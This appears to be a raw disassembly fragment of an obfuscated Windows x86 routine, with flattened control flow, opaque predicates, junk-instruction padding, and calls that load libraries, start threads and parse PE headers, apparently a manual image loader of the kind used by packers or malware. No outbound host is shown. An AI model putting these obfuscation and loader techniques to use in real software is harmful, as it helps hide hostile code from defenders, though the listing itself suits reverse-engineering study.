cmp eax, 0x6cd8deb9
je 0x40d1fb
cmp eax, 0x6f3bb68d
jne 0x401540
mov eax, dword [ebp - 0xc8]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, 0x15812072
jmp 0x401540
cmp eax, 0x8be700f7
je 0x40d216
cmp eax, 0x8c6e3306
jne 0x401540
push 0
push 0
push 0
push dword [ebp - 0x140]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
cmp byte [eax], 0
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
setne byte [ebp - 0xa3]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x2e827980
and ecx, 0xd17d867f
or ecx, edx
mov esi, ecx
mov eax, ecx
xor eax, 0x81358619
xor esi, 0x2e827980
xor ecx, 0x21ffe400
and ecx, esi
and eax, 0xa5b7e699
and esi, 0x5a481966
or esi, eax
mov eax, esi
mov edi, esi
xor eax, 0x5a481966
xor edi, 0xaaca7b19
xor esi, 0x2105c280
and edi, eax
and esi, 0x3b05cb82
and eax, 0xc4fa347c
mov edx, edi
not edx
and edi, 0x6a266db7
or eax, esi
mov esi, 0x96381be
mov ebx, edx
and ebx, 0x95d99248
xor eax, 0xc4fa347c
or edi, ebx
mov ebx, ecx
not ebx
and ecx, 0x6a266db7
or edx, ebx
and ebx, 0x95d99248
or ecx, ebx
not edx
xor ecx, edi
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x8171dd8e
and ecx, 0x7e8e2271
or edx, ecx
xor edx, 0x8e0c400f
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe27d4b3e
and ecx, 0x1d82b4c1
or eax, ecx
mov ecx, eax
xor ecx, 0x826d4120
xor eax, 0x1d00a440
and eax, 0x7d10ae5e
and ecx, 0x82ef51a1
or ecx, eax
mov eax, ecx
xor eax, 0x4c108e04
xor ecx, 0x82ef51a1
mov edx, ecx
and edx, 0x316761db
and eax, 0xce989e24
or eax, edx
xor eax, 0xce989e24
or eax, ecx
xor eax, 0xffffffff
sete dl
setne al
cmp dword [0x4a4b78], 0xa
setge ah
setl cl
mov ch, ah
xor ch, al
or al, ah
mov ah, cl
xor cl, dl
or ah, dl
and al, ch
xor ah, 1
xor al, 1
or cl, ah
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x3d863dd2
cmovne eax, esi
test dl, 1
not cl
mov edx, 0x3d863dd2
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
cmp eax, 0x2260f288
je 0x40d220
cmp eax, 0x22f0370d
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xf019fbdd
and eax, 0xfe60422
or ecx, eax
xor ecx, 0xf019fbdd
or edx, ecx
mov ecx, edx
not ecx
mov eax, edx
and eax, 0xa5e6e2b9
and edx, 0xeafce64b
mov esi, ecx
and esi, 0x5a191d46
or eax, esi
mov esi, eax
not esi
and eax, 0xc9f7d638
and esi, 0x360829c7
or eax, esi
mov esi, ecx
and esi, 0x150319b4
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x81e4c273
xor eax, 0x6c113480
xor esi, 0xeafce64a
and edx, 0xc1f4f673
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x7a58cca4
and esi, 0x85a7335b
or ecx, esi
mov esi, eax
and esi, 0x3e0b098c
or edx, esi
mov esi, ecx
xor esi, 0x4050c420
xor ecx, 0x85a7335b
or eax, ecx
and ecx, 0x3e0b098c
and esi, 0xc1f4f673
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x136ee16b
and eax, 0xec911e94
or ecx, eax
mov eax, ecx
xor eax, 0x14ec141
xor ecx, 0xec911e94
mov esi, ecx
and esi, 0x523026ae
and eax, 0xadcfd951
or eax, esi
mov esi, edx
not esi
and edx, 0xadcfd951
or ecx, esi
and esi, 0x523026ae
or edx, esi
not ecx
mov esi, 0x3bb41ac0
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xfd97a5fc
and eax, 0x2685a03
or ecx, eax
mov eax, ecx
xor eax, 0x68938128
xor ecx, 0x2000200
and ecx, 0x970426d4
and eax, 0x68fbd92b
or eax, ecx
xor eax, 0x68fbd92b
sete cl
setne ah
cmp dword [0x4a4b78], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x61566baf
cmovne edx, esi
test al, al
mov esi, 0x61566baf
mov eax, edx
cmovne eax, esi
test cl, cl
cmovne eax, edx
jmp 0x401540
cmp eax, 0xdbffe8d4
je 0x40d335
cmp eax, 0xdcf1d19d
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xe2001d1e
mov ecx, edx
and ecx, 0x80b2080
and edx, 0xbea065db
or esi, ecx
mov ecx, eax
and ecx, 0x15f4c261
and eax, 0x415f9a24
xor esi, 0xe2001d1e
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa3c900b9
and esi, 0x5c36ff46
or ecx, esi
mov esi, ecx
xor esi, 0x9423504
xor ecx, 0xb63dc2d9
mov edx, ecx
and edx, 0x7098ca33
and esi, 0x8f6735cc
or esi, edx
mov edx, eax
xor edx, 0x1471004
xor eax, 0x30804013
and eax, 0x7098ca33
and edx, 0x8f6735cc
or edx, eax
xor edx, esi
mov esi, 0xd58dcfbe
not edx
or edx, ecx
cmp edx, 0xffffffff
setne al
cmp dword [0x4a4b78], 0xa
mov ecx, eax
setge dl
or cl, dl
xor dl, al
mov eax, 0x466b7108
xor cl, 1
xor dl, cl
mov ch, dl
xor ch, 1
and cl, ch
xor ch, cl
test dl, dl
mov edx, 0x466b7108
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x40bb46
cmp eax, 0x5d104785
je 0x40d351
cmp eax, 0x5d9cfe25
jne 0x401540
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x4c]
mov edi, 0x961f271d
inc eax
mov dword [ecx], eax
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xcceebb7a
mov eax, edx
and eax, 0xbb6416ed
and ecx, edx
not edx
and edx, 0x449be912
or eax, edx
mov edx, eax
xor eax, 0x448aa912
xor edx, 0x80600028
or eax, 0x33114485
and edx, 0x80eaa13a
mov esi, eax
and esi, 0x5e151e45
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa1eae1ba
or eax, esi
and esi, 0x5e151e45
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6d8e95f8
and ecx, 0x92716a07
or eax, ecx
mov edx, eax
xor eax, 0x160b0150
xor edx, 0xa1602e82
mov esi, edx
and eax, 0xb74b2b52
and esi, 0x48b4d4ad
and edx, 0x88700d62
or esi, eax
mov ecx, esi
mov eax, esi
xor eax, 0x48b4d4ad
xor esi, 0xc0c4d9cf
xor ecx, 0xb74b2b52
and esi, eax
and ecx, 0xfffffffe
or edx, esi
mov eax, edx
not eax
and edx, 0x778ff29c
and eax, 0x88700d63
or edx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x57eed2e5
mov eax, ecx
and eax, 0xcce7f42b
and edx, ecx
not ecx
and ecx, 0x33180bd4
or eax, ecx
mov ecx, eax
xor eax, 0x130802c4
xor ecx, 0xa2d021
or eax, 0xa8112d1a
and ecx, 0x11a2d0a5
mov esi, eax
and esi, 0xc65c0242
or ecx, esi
mov esi, edx
not esi
and edx, 0x39a3fdbd
or eax, esi
and esi, 0xc65c0242
or edx, esi
not eax
mov esi, 0x554fa18d
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8e2ba8f3
and ecx, 0x71d4570c
or eax, ecx
mov ecx, eax
xor ecx, 0x51815a04
xor eax, 0x63a81a0
and eax, 0x8e7ea1b2
and ecx, 0x71815e4d
or ecx, eax
mov eax, ecx
xor eax, 0x41001c0d
xor ecx, 0x2662122
and ecx, 0x32e76362
and eax, 0xcd189c9d
or eax, ecx
mov ecx, eax
xor ecx, 0x2c56260
xor eax, 0x418880d
and eax, 0x343a890f
and ecx, 0xcbc576f0
or ecx, eax
xor ecx, 0xcbc576f0
setne ah
sete cl
cmp dword [0x4a4b78], 0xa
setl ch
setge dl
mov al, ch
xor ch, cl
and cl, dl
and al, ah
or al, cl
mov cl, dl
or dl, ah
xor dl, 1
xor cl, ah
or dl, ch
mov ch, al
xor cl, 1
xor ch, 1
mov ah, cl
or cl, dl
and al, ch
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
mov ah, al
or al, ch
xor ah, ch
xor al, 1
or ch, cl
or al, ah
mov ah, al
and al, cl
xor cl, 1
xor ah, 1
and ah, cl
mov cl, ch
or al, ah
xor cl, al
test ch, 1
cmovne edi, esi
test al, 1
not cl
mov eax, 0x961f271d
cmove edi, esi
test cl, 1
cmovne edi, eax
mov eax, edi
jmp 0x401540
cmp eax, 0xb7dbdfb0
je 0x40d596
cmp eax, 0xba0c199f
jne 0x401540
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x1c0]
mov dword [eax], ecx
mov eax, 0x7d5061b9
jmp 0x401540
cmp eax, 0x3dbcd987
je 0x40d6b1
cmp eax, 0x3f5e5f81
jne 0x401540
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x6c]
mov eax, 0xb62a6268
jmp 0x401540
cmp eax, 0x2be7e2f
je 0x40d6c9
cmp eax, 0x3ccf06d
jne 0x401540
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [0x4a4b7c]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x99dca3c8
mov ecx, eax
not ecx
and edx, eax
or eax, 0x66235c37
mov esi, ecx
and esi, 0x8c20c0
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xbd71d33b
and edx, 0x428e2cc4
or eax, ebx
and ebx, 0xbd71d33b
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x9ba3b12a
or eax, edx
mov edx, eax
not edx
and eax, 0x2563d7d2
and edx, 0xda9c282d
or eax, edx
xor eax, 0x43408be4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x47c54fb2
and ecx, 0xb83ab04d
or eax, ecx
xor eax, 0x47c54fb2
sete ch
setne cl
cmp dword [0x4a4b78], 0xa
mov dh, ch
setl ah
setge dl
mov al, ah
or dh, dl
and dl, ch
or al, cl
and cl, ah
or ah, ch
xor dh, 1
xor ah, 1
or dl, cl
xor al, 1
or dl, ah
or al, dh
mov ecx, edx
mov ah, dl
not cl
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
mov ah, cl
mov ch, cl
or cl, al
xor al, 1
xor ah, 1
and ch, al
xor cl, 1
xor al, ah
and dl, ah
or cl, al
or dl, ch
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x4ab3b418
cmovne eax, esi
test cl, 1
mov ecx, 0x4ab3b418
cmovne ecx, eax
test dl, 1
jmp 0x40aacb
cmp eax, 0x7d5061b9
je 0x40d7d2
cmp eax, 0x7e4d6765
jne 0x401540
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0xc]
mov dword [ebp - 0x198], eax
mov eax, 0x9b6cbbb1
jmp 0x401540
cmp eax, 0x9d140d52
je 0x40d7e7
cmp eax, 0x9ed5ed03
jne 0x401540
mov eax, 0x27a7dba0
jmp 0x401540
cmp eax, 0x759be00
je 0x40d898
cmp eax, 0x75b4244
jne 0x401540
cmp byte [ebp - 0x9e], 0
mov eax, 0x96162f14
mov ecx, 0x5fd225e7
cmovne eax, ecx
jmp 0x401540
cmp eax, 0xbdf453a5
je 0x40d8a2
cmp eax, 0xbec293f4
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb183d3a3
and eax, 0x1881004
mov edx, ecx
and edx, 0x4e7c2c5c
or ecx, 0x4004e442
or esi, edx
and ecx, 0x4637efeb
mov edx, esi
xor esi, 0x40042440
xor edx, 0xb0000000
or eax, ecx
or esi, 0x6330ba9
and edx, 0xb8400010
and esi, 0x4637efeb
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xf844e452
and ecx, 0x7bb1bad
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x2e989a5c
not edx
and eax, 0xf54455be
mov esi, edx
and ecx, 0x2e989a5d
and esi, 0xd16765a2
or edx, 1
or esi, ecx
mov ecx, esi
not ecx
and esi, 0xf54455bf
mov edi, ecx
or ecx, edx
and edi, 0xabbaa40
and edx, 0xabbaa40
or esi, edi
or eax, edx
not ecx
mov edi, 0xa059255c
xor eax, esi
or ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0x4844524d
and edx, 0xb7bbadb2
or edx, esi
mov esi, eax
not esi
and eax, 0xb7bbadb2
or ecx, esi
and esi, 0x4844524d
or eax, esi
not ecx
mov esi, 0x656b6f7d
xor eax, edx
or ecx, eax
sete cl
setne al
cmp dword [0x4a4b78], 0xa
setge ah
setl dl
mov ch, ah
xor al, dl
xor dl, cl
xor ch, cl
and ch, ah
or dl, ch
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
xor cl, 1
xor dl, cl
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
test cl, 1
cmovne edi, esi
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0xa059255c
cmovne edi, eax
mov eax, edi
jmp 0x401540
cmp eax, 0x4339a696
je 0x40da00
cmp eax, 0x43c27bbb
jne 0x401540
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0xd307f82e
jmp 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xd
mov eax, 0x9447281
jmp 0x401540
mov eax, dword [ebp - 0x34]
mov eax, 0x5523aa0c
jmp 0x401540
cmp byte [ebp - 0x9b], 0
mov eax, 0xad11c0f7
mov ecx, 0xa3035fea
cmovne eax, ecx
jmp 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x10001120
mov edx, eax
and edx, 0x22514017
and eax, 0x6c4139ff
or esi, edx
mov edx, ecx
and edx, 0xcdaeaec8
and ecx, 0x93bec600
xor esi, 0x10001120
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0xdd084f98
and esi, 0x22f7b067
or edx, esi
mov esi, edx
xor esi, 0x6c4118ae
xor edx, 0x10a6e151
mov edi, edx
and edi, 0x93bec600
and esi, 0x6c4139ff
or esi, edi
mov edi, 0x9ed5ed03
xor eax, esi
mov esi, 0x29e906f4
xor edx, eax
test edx, eax
setne al
cmp dword [0x4a4b78], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
and cl, dl
or cl, al
and ah, dl
mov edx, 0x9ed5ed03
mov al, cl
xor al, ah
test cl, cl
cmovne edi, esi
test ah, ah
cmove edi, edx
test al, al
cmovne edi, esi
mov eax, edi
jmp 0x401540
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x1c8], eax
mov eax, 0x9d140d52
jmp 0x401540
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xf8], eax
mov eax, 0x4f8e23ce
jmp 0x401540
rol edi, 0x93
add eax, 0xd3
imul ebx
add ebx, 0xcf
ror eax, 0xd9
bswap edx
rcl esi, 0x88
bswap esi
sbb esi, 0x77
imul edi
rcl eax, 0x52
and edx, 0x55
dec ebx
neg edi
and ebx, 0x63
not esi
or ebx, 0x17
not edx
mov edi, 0x31
bswap ebx
rcr edx, 0x70
imul ebx
sub edx, 0x59
dec edx
dec esi
mov edi, 0x62
rcr ebx, 0x38
neg eax
neg edx
and ebx, 0x36
imul esi
sbb eax, 0x85
ror ebx, 0x85
not ebx
imul ebx
sub edi, 0x4e
rol eax, 0x18
add eax, 0x1f
bswap edx
rcr esi, 0xab
or eax, 0xbe
dec ebx
or edi, 0x42
or eax, 0xdc
inc esi
imul edx
dec esi
rcr esi, 0xe6
rcr edi, 0x35
rcr ebx, 0x41
inc edi
ror eax, 0x93
inc edx
not ebx
imul ebx
inc eax
and edi, 0xf5
bswap edi
dec eax
not ebx
bswap edi
sbb eax, 0x42
bswap edi
sub esi, 0xc8
mov edx, 0xf7
bswap eax
mov esi, 0x1a
neg ebx
sub edi, 0x83
mov ebx, 0xb4
inc ebx
imul ebx
or edx, 6
mov edi, 0xf1
ror ebx, 0x34
bswap edx
inc eax
add esi, 0x94
rol ebx, 0xa3
sub ebx, 0xbd
dec ebx
ror edi, 0x97
sbb edx, 0x26
ror edx, 0xca
rcr edi, 1
ror ebx, 0x4f
rol edi, 0x97
not ebx
inc eax
neg eax
or eax, 0xca
bswap esi
sbb edi, 0xee
bswap edi
neg eax
inc esi
inc edi
or esi, 0x21
inc edi
mov edx, 0x42
rcr edi, 0x9a
neg edi
imul eax
bswap esi
rcl edi, 0xac
rcr edi, 0x73
inc ebx
neg esi
dec edi
sub edi, 0x90
and edi, 0x13
not edx
and esi, 0x9d
bswap ebx
inc ebx
rcl ebx, 0x7a
and edi, 0x9b
imul ebx
ror eax, 0x7a
add esi, 0x39
dec eax
dec esi
rcr esi, 0xe5
mov edi, 0xca
inc edi
neg edx
dec esi
sub esi, 0x1b
sub eax, 0x60
neg esi
neg esi
rol edi, 0x61
sub edx, 0xab
imul eax
inc esi
add eax, 0xf0
dec edx
bswap esi
bswap ebx
bswap eax
ror edi, 0xc9
or ebx, 0x2d
not edx
rol edi, 0x5e
neg esi
ror eax, 0xbf
dec edi
sub edx, 0x34
dec ebx
imul esi
mov eax, dword [ebp - 0xa8]
mov dword [eax], section..data
sbb edi, 0x53
imul edx
sub edi, 0x4e
bswap ebx
sbb edi, 0xff
mov ebx, 0x3b
inc ebx
imul ebx
inc edi
mov edi, 0xba
neg ebx
not edx
inc edx
dec esi
imul eax
and esi, 0x23
not edi
rcl eax, 0x8c
inc esi
rcr edi, 0x32
ror ebx, 0x36
rcr edx, 0x21
neg eax
neg eax
and edx, 0x75
dec edx
not ebx
and ebx, 0xda
neg edx
rol esi, 0xf
and eax, 0x5a
bswap ebx
sbb edi, 0xb4
dec esi
neg edi
rcl edx, 0x39
add eax, 0xde
bswap ebx
not edx
rol esi, 0x57
neg eax
neg eax
and edx, 0x9e
mov eax, 0x3c
bswap edi
add ebx, 7
bswap edi
bswap edx
dec ebx
neg esi
or edi, 0x63
bswap ebx
rol edi, 0xb
dec edi
add eax, 0x2e
dec edi
mov edx, 0xbc
neg ebx
neg eax
dec edi
mov esi, 0x2f
or ebx, 7
bswap ebx
bswap edi
rol eax, 0x2c
add edi, 0x4f
dec edi
not edi
not edi
sub eax, 0x52
ror edi, 0x59
and esi, 0xa6
sub edi, 0xf5
or esi, 0xfe
imul eax
rcr ebx, 0xcf
rol edi, 0x5a
neg esi
inc esi
neg eax
neg edx
dec esi
bswap ebx
bswap edi
rcl edx, 0x62
sbb edi, 0xa2
not edx
rol edi, 0x8f
neg edi
ror edx, 8
rcr ebx, 0xd8
rcr edi, 0xe
or esi, 0x7f
inc esi
rol edi, 0xe3
rcl eax, 0x15
sub edx, 0xe4
ror esi, 0xd3
add eax, 0xd3
bswap eax
bswap ebx
not edx
dec edi
dec ebx
inc esi
mov edi, 0x86
sbb edi, 0x47
not edi
imul esi
dec edi
rcl edi, 0x74
ror edi, 0x81
inc esi
sub edx, 0xea
neg ebx
sub ebx, 0xbc
or eax, 0xca
sub edi, 0x4b
bswap esi
dec ebx
sub esi, 0x3c
rcl edi, 0x8a
rol edi, 0x77
or esi, 0x87
ror esi, 0x29
mov edi, 0xf0
rcr esi, 0x7f
mov ebx, 0x5e
bswap edi
dec eax
or edi, 0xd4
bswap eax
not ebx
not eax
not edi
neg eax
inc esi
sub edx, 0xd0
or esi, 0x85
bswap esi
add ebx, 0x7e
neg ebx
imul edi
imul eax
neg eax
ror edx, 0x35
or esi, 0x6d
imul esi
sbb esi, 0x51
rol esi, 0x1f
dec ebx
dec edx
add edi, 0x90
inc edx
dec esi
neg esi
sbb ebx, 0x2a
rol ebx, 0x5d
bswap edi
sub esi, 0xad
rcr ebx, 0xa5
rol edx, 0xd5
and ebx, 0x2d
ror edx, 0x18
inc eax
sbb edi, 0xab
mov edi, 0x56
mov ebx, 0x74
ror ebx, 0xda
dec eax
or edx, 0xec
dec edx
mov ebx, 0xa7
rcl edx, 0x83
sbb ebx, 0x27
sbb edi, 0x9c
sbb edx, 0xda
inc esi
dec ebx
imul edx
bswap eax
sub esi, 0xf6
imul eax
imul ebx
rcl ebx, 0x40
sbb eax, 0xe1
sbb eax, 0x2f
or edi, 0x3f
inc ebx
and edx, 0x4c
bswap edx
and edi, 0x46
inc eax
bswap ebx
rol ebx, 0xe4
rcr edi, 0x62
inc eax
bswap edi
or edx, 0xd0
sbb edx, 0x5b
not esi
not ebx
rcl eax, 0
and ebx, 0xf
neg edi
add edx, 0x5d
sub edx, 0x9b
or eax, 0x80
rcr esi, 0xc5
and eax, 0x21
neg esi
inc eax
rcr eax, 0x4d
rol eax, 0x67
dec eax
bswap edx
mov esi, 0x95
bswap edi
neg ebx
rcr eax, 4
dec esi
rcl edi, 0xcf
rcl eax, 0xa2
inc ebx
bswap edx
dec edx
imul ebx
rcl edx, 0xd8
not edx
rcl eax, 0xfc
neg edx
mov eax, 0x2d
neg esi
rcr edx, 0x26
dec eax
ror esi, 0x7c
rol eax, 0x8b
bswap esi
dec eax
or ebx, 0xbf
bswap ebx
or edi, 0x1d
bswap ebx
rcl edi, 0x32
neg eax
and esi, 0x16
imul edi
and edx, 0x24
add edx, 0x45
imul edi
ror esi, 0xdc
rol eax, 2
dec eax
inc esi
add eax, 0xb0
ror esi, 0xd0
bswap edx
dec ebx
ror esi, 0x81
or edi, 0x3a
sub edi, 0x22
imul esi
rcr edx, 0x8f
rcl eax, 0xa4
imul esi
ror eax, 0x88
not edi
rol edx, 6
bswap ebx
not eax
not edx
inc edx
imul edx
or eax, 0x96
rcl esi, 0x83
inc ebx
dec ebx
dec edi
sub esi, 0x48
and eax, 0xd5
bswap eax
add eax, 0x71
mov edx, 0x5a
and eax, 0x4c
bswap edx
sub edi, 0x74
rcr ebx, 0xd
imul edx
ror eax, 0x25
rcr esi, 0xdc
dec esi
bswap eax
dec ebx
neg esi
not eax
dec edi
not edx
dec ebx
or edx, 0xd
mov esi, 0xdd
not edi
rol eax, 0x52
or eax, 0x73
inc edx
rcr edx, 0xbb
and edx, 0x62
neg ebx
imul eax
not ebx
add esi, 0x74
dec eax
or eax, 0x9b
sbb esi, 0x4d
rcl edi, 0x81
bswap esi
dec edx
imul ebx
sub eax, 0xe5
rcl eax, 0x82
sbb edx, 0x15
inc edx
sbb edx, 0xd8
ror esi, 0xc4
rol esi, 0xed
neg edi
not esi
imul edx
or edi, 0x69
bswap edi
rcr ebx, 0xd7
imul edx
and edx, 0xc3
imul eax
rcr edx, 0x3b
inc esi
rcl eax, 0x9a
sub ebx, 0x17
ror edi, 0xca
sbb eax, 0xfe
dec edx
inc edx
bswap ebx
imul edx
mov ebx, 0x70
rcl edx, 0xfa
dec edi
dec edi
rol ebx, 0xe5
imul edi
dec edi
and edi, 0xc6
add ebx, 0xf7
rcl esi, 0xf
not edx
inc esi
rcl esi, 0x66
sbb ebx, 0x61
bswap esi
imul eax
sbb edx, 0x12
rol ebx, 0xb1
neg edi
and edx, 0x44
and esi, 0x51
sbb edi, 0xa0
mov eax, 0x62
sbb edi, 0x3c
inc edx
inc edx
imul edx
imul ebx
bswap edx
sub edi, 0xa1
dec edi
sbb edi, 0xc6
not edx
mov edi, 2
sub esi, 0xb3
inc edi
inc ebx
neg edx
not eax
ror edx, 0xcb
inc esi
imul eax
and edx, 0x51
mov edx, 0xea
inc esi
neg edi
inc ebx
not eax
sbb ebx, 0xd
sbb edi, 0x50
and edi, 1
mov edi, 0x74
imul eax
or eax, 0x7e
sbb eax, 0xbd
sbb ebx, 0x20
bswap esi
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, 0x27edb887
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x7274680e
cmove eax, ecx
jmp 0x401540
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0xfc], eax
mov eax, 0x6182f478
jmp 0x401540
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, 0x381d775c
jmp 0x401540
mov ecx, dword [ebp - 0x130]
mov eax, ecx
not eax
and ecx, 0x52bb2af
mov edx, eax
and edx, 0xbad44d50
or ecx, edx
mov edx, eax
or edx, 0xacb632af
mov esi, ecx
xor esi, 0x1098000
xor ecx, 0xe8940000
and edx, 0xecb632af
and ecx, 0xecb632af
and esi, 0x1349cd50
or esi, ecx
xor edx, esi
not edx
or edx, eax
mov eax, dword [0x4a4b7c]
cmp edx, 0xffffffff
setne byte [ebp - 0xa1]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0xb9000003
mov esi, ecx
xor esi, 0xfb222c8f
mov edx, eax
and edx, 0x42222c8c
and esi, ecx
and eax, 0xe708cfb6
or edi, edx
xor edi, 0xb9000003
or esi, edi
mov edx, esi
not edx
and esi, 0xadab1842
and edx, 0x5254e7bd
or esi, edx
mov edx, esi
xor esi, 0xa100cb32
xor edx, 0x568934cc
mov edi, edx
or edx, ecx
and ecx, 0x18f73049
and edi, 0x18f73049
and esi, 0xe708cfb6
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xaddde595
or edx, eax
mov eax, edx
not eax
and edx, 0x7bb06f18
and eax, 0x844f90e7
or edx, eax
xor edx, 0x7bb06f18
setne dl
sete al
cmp dword [0x4a4b78], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
or dl, ah
and cl, al
xor al, ah
xor dl, 1
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
mov ah, cl
xor dl, 1
and al, cl
not ah
and ah, dl
or dl, cl
mov ecx, 0x8d52dc22
or ah, al
mov al, dl
xor al, ah
test dl, dl
cmovne ecx, esi
test ah, 1
cmove ecx, esi
test al, 1
mov eax, 0x8d52dc22
jmp 0x40aacb
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, 0x2c4fe833
jmp 0x401540
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, 0x15b289c9
jmp 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4028b13
mov esi, edx
and esi, 0x58800484
and edx, 0xda440381
or ecx, esi
mov esi, ecx
xor esi, 0x20311
xor ecx, 0xfbfd74ec
mov edi, ecx
and edi, 0x6459fcea
and esi, 0x18820315
or esi, edi
mov edi, eax
xor edi, 0x5c828f97
and edi, eax
and eax, 0x25bbfc7e
mov ebx, edi
not ebx
and edi, 0x9ba60315
